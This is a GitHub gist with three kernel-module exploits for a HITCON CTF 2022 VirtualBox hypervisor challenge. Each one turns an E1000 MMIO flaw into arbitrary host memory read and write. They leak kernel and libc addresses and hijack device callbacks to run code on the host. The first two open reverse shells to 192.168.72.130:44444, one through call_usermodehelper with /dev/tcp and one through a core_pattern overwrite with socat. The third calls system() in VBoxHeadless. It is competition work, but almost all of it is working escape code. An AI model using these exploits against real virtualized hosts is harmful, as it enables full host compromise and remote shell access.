Skip to content

Instantly share code, notes, and snippets.

@bruce30262
Last active November 29, 2022 03:30
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save bruce30262/bcb1f78db231bc082f12adb7510a9973 to your computer and use it in GitHub Desktop.
Save bruce30262/bcb1f78db231bc082f12adb7510a9973 to your computer and use it in GitHub Desktop.
Exploits for HITCON CTF 2022 Fourchain - Hypervisor
/*
This exploit will call call_usermodehelper() in host's kernel space
*/
#include <linux/kernel.h>
#include <linux/module.h>
#include <asm/io.h>
#include <linux/slab.h>
#include <linux/version.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/gfp.h>
#include <linux/slab.h>
#include <linux/delay.h>
#include <asm/io.h>
#include <linux/miscdevice.h>
#include <linux/fs.h>
#include <linux/slab.h>
#include <linux/uaccess.h>
#define E1000_MMIO_BASE 0xf0000000
#define IOAPIC_BASE 0xfec00000
#define RT 0x00c3250f
#define WT 0x00c3270f
#define sll signed long long
sll table;
static int drv_open(struct inode *inode, struct file *filp);
static ssize_t drv_read(struct file *file, char __user *buf,size_t count, loff_t *ppos);
static struct file_operations drv_fops = {
open : drv_open,
read : drv_read
};
static int drv_open(struct inode *inode, struct file *filp){
printk(KERN_INFO "In drv_open\n");
return 0;
}
static struct miscdevice pwn_miscdev = {
.minor = 100,
.name = "pwn",
.fops = &drv_fops,
};
static size_t* to_page_entry(size_t cr3,size_t addr) {
size_t idx,i;
size_t val = cr3;
for(i=0;i<4;i++){
val &= (0xfffffffff000UL); // physical address
val += PAGE_OFFSET; // alias page
idx = addr>>(12+(3-i)*9);
idx &= ((1<<9)-1);
if(i<3)
val = *((size_t*)(val+idx*8));
else
return ((size_t*)(val+idx*8));
}
return 0;
}
static size_t __attribute__((optimize("O0"))) read_table(int *inst, char *code, sll idx) {
inst[0x820/4] = RT;
size_t ret;
asm volatile(
"mov rbx,%[idx]\r\n;"
"mov rcx,%[code]\r\n;"
"call rcx\r\n;"
"mov %[ret], rax\r\n;"
:[ret]"=r"(ret)
:[idx]"r"(idx),[code]"r"(code+0x820)
:"rax","rbx","rcx"
);
return ret;
}
static size_t __attribute__((optimize("O0"))) arb_read(int *inst, char *code, sll addr) {
return read_table( inst, code, (addr - table)>>3 );
}
static void __attribute__((optimize("O0"))) write_table(int *inst, char *code, sll idx, size_t val) {
inst[0x820/4] = WT;
asm volatile(
"mov rbx,%[idx]\r\n;"
"mov rax,%[val]\r\n;"
"mov rcx,%[code]\r\n;"
"call rcx\r\n;"
:
:[idx]"r"(idx),[val]"r"(val),[code]"r"(code+0x820)
:"rax","rbx","rcx"
);
}
static void __attribute__((optimize("O0"))) arb_write(int *inst, char *code, sll addr, size_t val) {
return write_table( inst, code, (addr - table)>>3, val );
}
static void __attribute__((optimize("O0"))) write_string(int *inst, char *code, sll addr, char* string) {
int i = 0, cnt = 0, written = 0;
size_t val = 0;
int sz = strlen(string);
for (i = 0 ; i < sz+1 ; i++) { // to strlen(data)+1 so null byte will be written as well
val = val | (((size_t)string[i] & 0xff) << ( (i & 7) * 8 ));
if( (i & 7) == 7 ) {
arb_write(inst, code, (sll)(addr + (cnt*8)), val);
cnt++;
val = 0;
written = 1;
} else {
written = 0;
}
}
if(written == 0) { // need to write one last time
arb_write(inst, code, (sll)(addr + (cnt*8)), val);
}
}
static ssize_t drv_read(struct file *file, char __user *buf, size_t count, loff_t *ppos) {
printk(KERN_INFO "In drv_read\n");
int* inst = ioremap(E1000_MMIO_BASE+0x5000,0x1000);
char* code = kmalloc(0x1000,GFP_KERNEL);
size_t cr3;
asm(
"mov %[val],cr3\r\n;"
:[val]"=r"(cr3)::
);
size_t* ent = to_page_entry(cr3,(size_t)code);
size_t* B = to_page_entry(cr3,(size_t)drv_read);
*ent = (E1000_MMIO_BASE+0x5000) | ( (*B)&0xff00000000000fffULL);
size_t i = 0, ret;
// leak VMMR0.r0's base
sll off_table = 0x1FC060;
sll off_iemAImpl_mul_u8 = 0x1dacd0;
size_t vmmr0_base = read_table(inst, code, (off_iemAImpl_mul_u8 - off_table)>>3 ) - 0x11a6a8;
printk(KERN_INFO "vmmr0_base: %px\n", vmmr0_base);
// leak vboxdrv.ko and kernel base
table = vmmr0_base + off_table;
size_t got_SUPR0EnableVTx = vmmr0_base + 0x1DB018;
size_t vboxdrv_base = arb_read(inst, code, (sll)got_SUPR0EnableVTx) - 0x8a0;
printk(KERN_INFO "vboxdrv_base: %px\n", vboxdrv_base);
size_t tmp = arb_read(inst, code, (sll)(vboxdrv_base+0x15a8a+1));
tmp = (tmp >> 24)&0xffffffff;
printk(KERN_INFO "tmp: %px\n", tmp);
signed int kfree_offset = (signed int)(tmp);
printk(KERN_INFO "kfree_offset: %d\n", kfree_offset);
//size_t kernel_base = vboxdrv_base + 0x15a8a + 5 + kfree_offset - 0x2a2af0; // qemu
size_t kernel_base = vboxdrv_base + 0x15a8a + 5 + kfree_offset - 0x290ae0; // vagrant
//size_t call_usermodehelper = kernel_base + 0xa7fd0; // qemu
size_t call_usermodehelper = kernel_base + 0x9abf0; // vagrant
printk(KERN_INFO "kernel_base: %px\n", kernel_base);
printk(KERN_INFO "call_usermodehelper: %px\n", call_usermodehelper);
// leak PGVMM & PGVM
size_t g_pGVMM = arb_read(inst, code, (sll)(vmmr0_base + 0x1E9E68));
printk(KERN_INFO "g_pGVMM: %px\n", g_pGVMM);
size_t pGVM = arb_read(inst, code, (sll)(g_pGVMM + 0xb8 + 0x8)); // g_pGVMM->aHandles[1]->pGVM
printk(KERN_INFO "pGVM: %px\n", pGVM);
// leak pGVM->iomr0.s.paMmioRegs (paRing0)
size_t paRing0 = arb_read(inst, code, (sll)(pGVM + 65336)); // g_pGVMM->aHandles[1]->pGVM->iomr0.s.paMmioRegs
printk(KERN_INFO "paRing0: %px\n", paRing0);
/* paRing0: Ring0 MMIO registration table, including entries for APIC, IO APIC, VGA, AHCI, E1000
* We modify the entry of IO APIC
*/
size_t pDevIns = arb_read(inst, code, (sll)(paRing0 + 0x38 + 0x10)); // DeviceIOAPIC->pDevIns
printk(KERN_INFO "pDevIns: %px\n", pDevIns);
// Construct argv
size_t argv_buf = paRing0 + 0x120;
size_t c_buf = paRing0 + 0x160;
size_t sh_buf = paRing0 + 0x190;
// write command string
write_string(inst, code, (sll)pDevIns, "/bin/bash"); // pDevIns = "/bin/bash"
write_string(inst, code, (sll)c_buf, "-c");
write_string(inst, code, (sll)sh_buf, "sh</dev/tcp/192.168.72.130/44444");
// write argv pointers
arb_write(inst, code, (sll)(argv_buf), pDevIns); // argv[0] = pDevIns = "/bin/bash"
arb_write(inst, code, (sll)(argv_buf + 0x8), c_buf); // argv[1] = "-c";
arb_write(inst, code, (sll)(argv_buf + 0x10), sh_buf); // argv[2] = "sh</dev/tcp/192.168.72.130/44444";
arb_write(inst, code, (sll)(argv_buf + 0x18), 0); // argv[3] = NULL;
// overwrite DeviceIOAPIC
arb_write(inst, code, (sll)(paRing0 + 0x38 + 0x8), argv_buf); // DeviceIOAPIC->pvUser = argv buf
arb_write(inst, code, (sll)(paRing0 + 0x38 + 0x18), call_usermodehelper); // DeviceIOAPIC->pfnWriteCallback = call_usermodehelper
// trigger ioapicMmioWrite
// this will call DeviceIOAPIC->pfnWriteCallback(DeviceIOAPIC->pDevIns, DeviceIOAPIC->pvUser, 0, <some pointer>, .....);
// which will now be call_usermodehelper("/bin/bash", argv, 0, <some pointer>). <some pointer> will not affect call_usermodehelper
uint8_t* inst2 = ioremap(IOAPIC_BASE, 0x1000);
inst2[0] = 0;
return 0;
}
int init_module(void) {
return misc_register(&pwn_miscdev);
}
void cleanup_module(void) {
misc_deregister(&pwn_miscdev);
}
MODULE_LICENSE("GPL");
/*
This exploit overwrite core_pattern and trigger SEGV in ring-3 to get code execution in host's kernel space
*/
#include <linux/kernel.h>
#include <linux/module.h>
#include <asm/io.h>
#include <linux/slab.h>
#include <linux/version.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/gfp.h>
#include <linux/slab.h>
#include <linux/delay.h>
#include <asm/io.h>
#include <linux/miscdevice.h>
#include <linux/fs.h>
#include <linux/slab.h>
#include <linux/uaccess.h>
#define E1000_MMIO_BASE 0xf0000000
#define RT 0x00c3250f
#define WT 0x00c3270f
#define sll signed long long
sll table;
static int drv_open(struct inode *inode, struct file *filp);
static ssize_t drv_read(struct file *file, char __user *buf,size_t count, loff_t *ppos);
static struct file_operations drv_fops = {
open : drv_open,
read : drv_read
};
static int drv_open(struct inode *inode, struct file *filp){
printk(KERN_INFO "In drv_open\n");
return 0;
}
static struct miscdevice pwn_miscdev = {
.minor = 100,
.name = "pwn",
.fops = &drv_fops,
};
static size_t* to_page_entry(size_t cr3,size_t addr) {
size_t idx,i;
size_t val = cr3;
for(i=0;i<4;i++){
val &= (0xfffffffff000UL); // physical address
val += PAGE_OFFSET; // alias page
idx = addr>>(12+(3-i)*9);
idx &= ((1<<9)-1);
if(i<3)
val = *((size_t*)(val+idx*8));
else
return ((size_t*)(val+idx*8));
}
return 0;
}
static size_t __attribute__((optimize("O0"))) read_table(int *inst, char *code, sll idx) {
inst[0x820/4] = RT;
size_t ret;
asm volatile(
"mov rbx,%[idx]\r\n;"
"mov rcx,%[code]\r\n;"
"call rcx\r\n;"
"mov %[ret], rax\r\n;"
:[ret]"=r"(ret)
:[idx]"r"(idx),[code]"r"(code+0x820)
:"rax","rbx","rcx"
);
return ret;
}
static size_t __attribute__((optimize("O0"))) arb_read(int *inst, char *code, sll addr) {
return read_table( inst, code, (addr - table)>>3 );
}
static void __attribute__((optimize("O0"))) write_table(int *inst, char *code, sll idx, size_t val) {
inst[0x820/4] = WT;
asm volatile(
"mov rbx,%[idx]\r\n;"
"mov rax,%[val]\r\n;"
"mov rcx,%[code]\r\n;"
"call rcx\r\n;"
:
:[idx]"r"(idx),[val]"r"(val),[code]"r"(code+0x820)
:"rax","rbx","rcx"
);
}
static void __attribute__((optimize("O0"))) arb_write(int *inst, char *code, sll addr, size_t val) {
return write_table( inst, code, (addr - table)>>3, val );
}
static void __attribute__((optimize("O0"))) write_string(int *inst, char *code, sll addr, char* string) {
int i = 0, cnt = 0, written = 0;
size_t val = 0;
int sz = strlen(string);
for (i = 0 ; i < sz+1 ; i++) { // to strlen(data)+1 so null byte will be written as well
val = val | (((size_t)string[i] & 0xff) << ( (i & 7) * 8 ));
if( (i & 7) == 7 ) {
arb_write(inst, code, (sll)(addr + (cnt*8)), val);
cnt++;
val = 0;
written = 1;
} else {
written = 0;
}
}
if(written == 0) { // need to write one last time
arb_write(inst, code, (sll)(addr + (cnt*8)), val);
}
}
static ssize_t drv_read(struct file *file, char __user *buf, size_t count, loff_t *ppos) {
printk(KERN_INFO "In drv_read\n");
int* inst = ioremap(E1000_MMIO_BASE+0x5000,0x1000);
char* code = kmalloc(0x1000,GFP_KERNEL);
size_t cr3;
asm(
"mov %[val],cr3\r\n;"
:[val]"=r"(cr3)::
);
size_t* ent = to_page_entry(cr3,(size_t)code);
size_t* B = to_page_entry(cr3,(size_t)drv_read);
*ent = (E1000_MMIO_BASE+0x5000) | ( (*B)&0xff00000000000fffULL);
size_t i = 0, ret;
// leak VMMR0.r0's base
sll off_table = 0x1FC060;
sll off_iemAImpl_mul_u8 = 0x1dacd0;
size_t vmmr0_base = read_table(inst, code, (off_iemAImpl_mul_u8 - off_table)>>3 ) - 0x11a6a8;
printk(KERN_INFO "vmmr0_base: %px\n", vmmr0_base);
// leak vboxdrv.ko and kernel base
table = vmmr0_base + off_table;
size_t got_SUPR0EnableVTx = vmmr0_base + 0x1DB018;
size_t vboxdrv_base = arb_read(inst, code, (sll)got_SUPR0EnableVTx) - 0x8a0;
printk(KERN_INFO "vboxdrv_base: %px\n", vboxdrv_base);
size_t tmp = arb_read(inst, code, (sll)(vboxdrv_base+0x15a8a+1));
tmp = (tmp >> 24)&0xffffffff;
printk(KERN_INFO "tmp: %px\n", tmp);
signed int kfree_offset = (signed int)(tmp);
printk(KERN_INFO "kfree_offset: %d\n", kfree_offset);
size_t kernel_base = vboxdrv_base + 0x15a8a + 5 + kfree_offset - 0x2a2af0;
printk(KERN_INFO "kernel_base: %px\n", kernel_base);
// overwrite core_pattern
size_t core_pattern = kernel_base + 0x17770c0;
size_t core = arb_read(inst, code, (sll)core_pattern);
printk(KERN_INFO "core: %px\n", core);
//write_string(inst, code, (sll)core_pattern, "|/usr/bin/touch /tmp/123");
write_string(inst, code, (sll)core_pattern, "|/usr/bin/socat exec:'bash',pty,stderr,setsid,sigint,sane tcp:192.168.72.130:44444");
core = arb_read(inst, code, (sll)core_pattern);
printk(KERN_INFO "core: %px\n", core);
// leak PGVMM & PGVM
size_t g_pGVMM = arb_read(inst, code, (sll)(vmmr0_base + 0x1E9E68));
printk(KERN_INFO "g_pGVMM: %px\n", g_pGVMM);
size_t pGVM = arb_read(inst, code, (sll)(g_pGVMM + 0xb8 + 0x8)); // g_pGVMM->aHandles[1]->pGVM
printk(KERN_INFO "pGVM: %px\n", pGVM);
// leak pGVM->iom.s.paMmioRegs (r3Map) & pGVM->iomr0.s.paMmioRing3Regs (r0Map)
size_t r0Map = arb_read(inst, code, (sll)(pGVM + 65352)); // g_pGVMM->aHandles[1]->pGVM
size_t r3Map = arb_read(inst, code, (sll)(pGVM + 44152)); // g_pGVMM->aHandles[1]->pGVM
printk(KERN_INFO "r0Map: %px\n", r0Map);
printk(KERN_INFO "r3Map: %px\n", r3Map);
for (i = 0 ; i < 5 ; i++) {
size_t devin_off = (88 * i) + 0x18; // pDevIns
size_t write_cb_off = (88 * i) + 0x20; // pfnWriteCallback
size_t read_cb_off = (88 * i) + 0x28; // pfnReadCallback
arb_write(inst, code, (sll)(r0Map + devin_off), 0x1234);
arb_write(inst, code, (sll)(r0Map + write_cb_off), 0x1234);
arb_write(inst, code, (sll)(r0Map + read_cb_off), 0x1234);
}
// trigger crash
// this is a R3 MMIO write ( return VINF_IOM_R3_MMIO_WRITE; in e1kRegWriteEECD when Ring0)
int* inst2 = ioremap(E1000_MMIO_BASE,0x1000);
inst2[0x10/4]=0;
return 0;
}
int init_module(void) {
return misc_register(&pwn_miscdev);
}
void cleanup_module(void) {
misc_deregister(&pwn_miscdev);
}
MODULE_LICENSE("GPL");
/*
This exploit will call system() in host's user space ( hijack VBoxHeadless )
*/
#include <linux/kernel.h>
#include <linux/module.h>
#include <asm/io.h>
#include <linux/slab.h>
#include <linux/version.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/gfp.h>
#include <linux/slab.h>
#include <linux/delay.h>
#include <asm/io.h>
#include <linux/miscdevice.h>
#include <linux/fs.h>
#include <linux/slab.h>
#include <linux/uaccess.h>
#define E1000_MMIO_BASE 0xf0000000
#define IOAPIC_BASE 0xfec00000
#define RT 0x00c3250f
#define WT 0x00c3270f
#define sll signed long long
sll table;
static int drv_open(struct inode *inode, struct file *filp);
static ssize_t drv_read(struct file *file, char __user *buf,size_t count, loff_t *ppos);
static struct file_operations drv_fops = {
open : drv_open,
read : drv_read
};
static int drv_open(struct inode *inode, struct file *filp){
printk(KERN_INFO "In drv_open\n");
return 0;
}
static struct miscdevice pwn_miscdev = {
.minor = 100,
.name = "pwn",
.fops = &drv_fops,
};
static size_t* to_page_entry(size_t cr3,size_t addr) {
size_t idx,i;
size_t val = cr3;
for(i=0;i<4;i++){
val &= (0xfffffffff000UL); // physical address
val += PAGE_OFFSET; // alias page
idx = addr>>(12+(3-i)*9);
idx &= ((1<<9)-1);
if(i<3)
val = *((size_t*)(val+idx*8));
else
return ((size_t*)(val+idx*8));
}
return 0;
}
static size_t __attribute__((optimize("O0"))) read_table(int *inst, char *code, sll idx) {
inst[0x820/4] = RT;
size_t ret;
asm volatile(
"mov rbx,%[idx]\r\n;"
"mov rcx,%[code]\r\n;"
"call rcx\r\n;"
"mov %[ret], rax\r\n;"
:[ret]"=r"(ret)
:[idx]"r"(idx),[code]"r"(code+0x820)
:"rax","rbx","rcx"
);
return ret;
}
static size_t __attribute__((optimize("O0"))) arb_read(int *inst, char *code, sll addr) {
return read_table( inst, code, (addr - table)>>3 );
}
static void __attribute__((optimize("O0"))) write_table(int *inst, char *code, sll idx, size_t val) {
inst[0x820/4] = WT;
asm volatile(
"mov rbx,%[idx]\r\n;"
"mov rax,%[val]\r\n;"
"mov rcx,%[code]\r\n;"
"call rcx\r\n;"
:
:[idx]"r"(idx),[val]"r"(val),[code]"r"(code+0x820)
:"rax","rbx","rcx"
);
}
static void __attribute__((optimize("O0"))) arb_write(int *inst, char *code, sll addr, size_t val) {
return write_table( inst, code, (addr - table)>>3, val );
}
static void __attribute__((optimize("O0"))) write_string(int *inst, char *code, sll addr, char* string) {
int i = 0, cnt = 0, written = 0;
size_t val = 0;
int sz = strlen(string);
for (i = 0 ; i < sz+1 ; i++) { // to strlen(data)+1 so null byte will be written as well
val = val | (((size_t)string[i] & 0xff) << ( (i & 7) * 8 ));
if( (i & 7) == 7 ) {
arb_write(inst, code, (sll)(addr + (cnt*8)), val);
cnt++;
val = 0;
written = 1;
} else {
written = 0;
}
}
if(written == 0) { // need to write one last time
arb_write(inst, code, (sll)(addr + (cnt*8)), val);
}
}
static size_t __attribute__((optimize("O0"))) arb_read64_user(int *inst, char *code, size_t paRing0, uint8_t *inst2, size_t r0pDevIns, size_t addr) {
arb_write(inst, code, (sll)(paRing0 + 0x38 + 0x8), addr); // DeviceIOAPIC->pvUser = addr
// trigger DeviceIOAPIC->pfnWriteCallback, which is now copy_from_user
// it will execute copy_from_user(r0pDevIns, pvUser, offRegion)
// which is now copy_from_user(r0pDevIns, addr, 8)
// The content of addr (userspace address) will be copied into r0pDevIns
// So we just read the content from r0pDevIns and return the value
inst2[8] = 0;
return arb_read(inst, code, (sll)(r0pDevIns));
}
static size_t __attribute__((optimize("O0"))) arb_readString_user(int *inst, char *code, size_t paRing0, uint8_t *inst2, size_t r0pDevIns, size_t addr, char *str) {
size_t cur_addr = addr;
while(true) {
uint8_t c = arb_read64_user(inst, code, paRing0, inst2, r0pDevIns, cur_addr) & 0xff;
str[cur_addr - addr] = (char)c;
if (c == 0) {
return;
}
cur_addr++;
}
}
static ssize_t drv_read(struct file *file, char __user *buf, size_t count, loff_t *ppos) {
printk(KERN_INFO "In drv_read\n");
int* inst = ioremap(E1000_MMIO_BASE+0x5000,0x1000);
char* code = kmalloc(0x1000,GFP_KERNEL);
size_t cr3;
asm(
"mov %[val],cr3\r\n;"
:[val]"=r"(cr3)::
);
size_t* ent = to_page_entry(cr3,(size_t)code);
size_t* B = to_page_entry(cr3,(size_t)drv_read);
*ent = (E1000_MMIO_BASE+0x5000) | ( (*B)&0xff00000000000fffULL);
size_t i = 0, ret;
// leak VMMR0.r0's base
sll off_table = 0x1FC060;
sll off_iemAImpl_mul_u8 = 0x1dacd0;
size_t vmmr0_base = read_table(inst, code, (off_iemAImpl_mul_u8 - off_table)>>3 ) - 0x11a6a8;
printk(KERN_INFO "vmmr0_base: %px\n", vmmr0_base);
// leak vboxdrv.ko and copy_from_user
table = vmmr0_base + off_table;
size_t got_SUPR0EnableVTx = vmmr0_base + 0x1DB018;
size_t vboxdrv_base = arb_read(inst, code, (sll)got_SUPR0EnableVTx) - 0x8a0;
printk(KERN_INFO "vboxdrv_base: %px\n", vboxdrv_base);
size_t tmp0 = arb_read(inst, code, (sll)(vboxdrv_base+0x17764+1));
size_t tmp1 = arb_read(inst, code, (sll)(vboxdrv_base+0x17764+4));
tmp0 = (tmp0 >> 40)&0xffffff;
tmp1 = (tmp1 & 0xff) << 24;
size_t copy_from_user_offset = (signed int)(tmp0 | tmp1);
size_t copy_from_user = vboxdrv_base + 0x17764 + 5 + copy_from_user_offset;
printk(KERN_INFO "copy_from_user: %px\n", copy_from_user);
// leak PGVMM & PGVM
size_t g_pGVMM = arb_read(inst, code, (sll)(vmmr0_base + 0x1E9E68));
printk(KERN_INFO "g_pGVMM: %px\n", g_pGVMM);
size_t pGVM = arb_read(inst, code, (sll)(g_pGVMM + 0xb8 + 0x8)); // g_pGVMM->aHandles[1]->pGVM
printk(KERN_INFO "pGVM: %px\n", pGVM);
// leak pGVM->iomr0.s.paMmioRegs (paRing0)
size_t paRing0 = arb_read(inst, code, (sll)(pGVM + 65336)); // g_pGVMM->aHandles[1]->pGVM->iomr0.s.paMmioRegs
printk(KERN_INFO "paRing0: %px\n", paRing0);
// leak pGVM->iom.s.paMmioRegs (r3Map) & pGVM->iomr0.s.paMmioRing3Regs (r0Map)
size_t r0Map = arb_read(inst, code, (sll)(pGVM + 65352)); // g_pGVMM->aHandles[1]->pGVM
size_t r3Map = arb_read(inst, code, (sll)(pGVM + 44152)); // g_pGVMM->aHandles[1]->pGVM
printk(KERN_INFO "r0Map: %px\n", r0Map);
printk(KERN_INFO "r3Map: %px\n", r3Map);
// prepare arb read64 user
size_t r0pDevIns = arb_read(inst, code, (sll)(paRing0 + 0x38 + 0x10)); // DeviceIOAPIC->pDevIns
arb_write(inst, code, (sll)(paRing0 + 0x38 + 0x18), copy_from_user); // DeviceIOAPIC->pfnWriteCallback = copy_from_user
uint8_t* inst2 = ioremap(IOAPIC_BASE, 0x1000);
// testing arb_read64_user
size_t data = arb_read64_user(inst, code, paRing0, inst2, r0pDevIns, r3Map);
printk(KERN_INFO "data: %px\n", data);
size_t e1kMMIORead = arb_read(inst, code, (sll)(r0Map + 0x188)); // e1kMMIORead
size_t vboxdd_base = e1kMMIORead - 0xff970;
size_t got_ioctl = vboxdd_base + 0x211bf0;
size_t ioctl = arb_read64_user(inst, code, paRing0, inst2, r0pDevIns, got_ioctl);
// get libc base
size_t libc_base = 0;
size_t cur_addr = ioctl & ~0xfff;
while (true) {
size_t cur_data = arb_read64_user(inst, code, paRing0, inst2, r0pDevIns, cur_addr);
if ( ( cur_data & 0xffffffff ) == 0x464c457f) {
libc_base = cur_addr;
break;
}
cur_addr -= 0x1000;
}
size_t libc_ph = arb_read64_user(inst, code, paRing0, inst2, r0pDevIns, libc_base + 0x20) + libc_base ; // libc program header
cur_addr = libc_ph;
// get dynamic section
size_t libc_dynamic = 0;
while(true) {
size_t type = arb_read64_user(inst, code, paRing0, inst2, r0pDevIns, cur_addr) & 0xffffffff;
size_t vaddr = arb_read64_user(inst, code, paRing0, inst2, r0pDevIns, cur_addr + 0x10);
if (type == 2) { // .dynamic
libc_dynamic = libc_base + vaddr;
break;
}
cur_addr += 0x38;
}
// get SYMTAB & STRTAB
size_t libc_symtab = 0;
size_t libc_strtab = 0;
cur_addr = libc_dynamic;
while(true) {
size_t type = arb_read64_user(inst, code, paRing0, inst2, r0pDevIns, cur_addr);
size_t vaddr = arb_read64_user(inst, code, paRing0, inst2, r0pDevIns, cur_addr + 8);
if (type == 0) { // END OF DYNAMIC
break;
}
if (type == 5) { // STRTAB
libc_strtab = vaddr;
}
if (type == 6) { // SYMTAB
libc_symtab = vaddr;
}
cur_addr += 0x10;
}
// scan for system
size_t system = 0;
char cur_str[256] = {};
cur_addr = libc_symtab + 0x18;
while(true) {
memset(cur_str, 0, sizeof(cur_str));
size_t st_name = arb_read64_user(inst, code, paRing0, inst2, r0pDevIns, cur_addr) & 0xffffffff;
size_t offset = arb_read64_user(inst, code, paRing0, inst2, r0pDevIns, cur_addr + 0x8);
arb_readString_user(inst, code, paRing0, inst2, r0pDevIns, libc_strtab + st_name, cur_str);
if(!strcmp(cur_str, "system")) {
system = libc_base + offset;
break;
}
cur_addr += 0x18;
}
printk(KERN_INFO "vboxdd_base: %px\n", vboxdd_base);
printk(KERN_INFO "libc_base: %px\n", libc_base);
printk(KERN_INFO "libc_dynamic: %px\n", libc_dynamic);
printk(KERN_INFO "libc_strtab: %px\n", libc_strtab);
printk(KERN_INFO "libc_symtab: %px\n", libc_symtab);
printk(KERN_INFO "system: %px\n", system);
// leak ring 3 DeviceE1000->pDevIns->pCritSectRoR3
size_t r3pDevIns = arb_read(inst, code, (sll)(r0Map + 0x178)); // ring 3 DeviceE1000->pDevIns
size_t pCritSectRoR3 = arb_read64_user(inst, code, paRing0, inst2, r0pDevIns, r3pDevIns + 0x28);
printk(KERN_INFO "pCritSectRoR3: %px\n", pCritSectRoR3);
size_t fake_pDevIns = r0Map + 0x1c0;
size_t fake_pDevIns_r3 = r3Map + 0x1c0;
write_string(inst, code, (sll)(fake_pDevIns), "touch /tmp/123"); // fake_pDevIns points to cmd
arb_write(inst, code, (sll)(fake_pDevIns + 0x28), pCritSectRoR3); // fake_pDevIns->pCritSectRoR3
arb_write(inst, code, (sll)(r0Map + 0x178), fake_pDevIns_r3); // ring 3 DeviceE1000->pDevIns = our fake pDevIns
arb_write(inst, code, (sll)(r0Map + 0x180), system); // ring 3 DeviceE1000->pfnWriteCallback = system
// this is a R3 MMIO write ( return VINF_IOM_R3_MMIO_WRITE; in e1kRegWriteEECD when Ring0)
int* inst3 = ioremap(E1000_MMIO_BASE,0x1000);
inst3[0x10/4]=0;
return 0;
}
int init_module(void) {
return misc_register(&pwn_miscdev);
}
void cleanup_module(void) {
misc_deregister(&pwn_miscdev);
}
MODULE_LICENSE("GPL");
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment